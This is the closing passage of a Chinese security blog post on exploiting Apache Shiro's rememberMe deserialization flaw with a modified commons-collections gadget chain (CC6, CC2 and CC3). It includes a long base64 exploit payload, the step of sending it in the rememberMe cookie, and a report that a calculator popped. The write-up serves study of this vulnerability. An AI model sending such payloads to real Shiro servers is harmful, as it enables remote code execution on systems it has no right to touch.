bXMJqZxz4VB4PjF9wJidMFbPEO6JUz7gbbmUOS+p2BJv4yYjmntlPX8+5m4YvLoGCWe25e84Ce/3/pQRzXzs2Zqj/g+CrK1C8wv5CTpq/7Xh4QMq6ZdfWwKBbpqvUBjP0HaW190/8sYxHAV8Ec5VgL4zdPoqPZkJeeMJ0SEQAwIDHoAAZIPUjIe8Ko4qGgzzr1o7GvYQqjUnAs6fCyG5z4ANf5u967sBEq3ycqYLbvXNAEXjQ5RPYFT5YU533w/h3Zia1frKLduV25YCLO/vGkIQTY+YRwWeowuU5rUz89Owm6+fLMKXzbQd/NY1VIcInM1/HjV3Ar4IuIidBYk+RNfRW37XHFRdFUgqc7X7KnnzAtGGa6jRXzDSf78YvUAtjiHskuxD1RAQFypcgNs78t3XM8hLF2/XlQvu8OB45mzmU+34mQoPiOrDAn42cYVfNbD/bsup66rlTgnJN5KnWZPuYubSVqRrdXkHWHQhiavetQeuxug1k/WFviclzMn+CaKPylAaLZnRH0ccqLBud27k1WlLCeotsa3CA28vBl2hoJlUE9SPux57Cp9RtKjOezTdp4U/fxwXh2rYs77uO9yjFH5IXZoHaB7JJQ3Akb1jfffWDus8vMF2Sj+xIB2W

然后替换rememberMe的值发包打反序列化漏洞。

image-20231017180343108

可以看到成功执行了弹出计算器的程序。

到这里我们的CC改装就成功了。

当然这里也可以用hashset进行利用链调用。这里就不写了,和cc6的利用一样。

四、总结

利用链:

image-20231017181334967

其实这条利用链就是CC6和CC2与CC3的结合,前半部分是CC6,中间利用的是CC2,最后用到了CC3动态加载字节码。

这条链也就是前面cc链的一个改装解决了tomcat下无法利用shiro原生的commons-collections:3.2.1这个问题。

  • 标题: shiro反序列化打CC依赖
  • 作者: GTL-JU
  • 创建于: 2023-10-17 18:20:56
  • 更新于: 2023-10-17 18:21:39
  • 链接: https://gtl-ju.github.io/2023/10/17/shiro反序列化打CC依赖/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。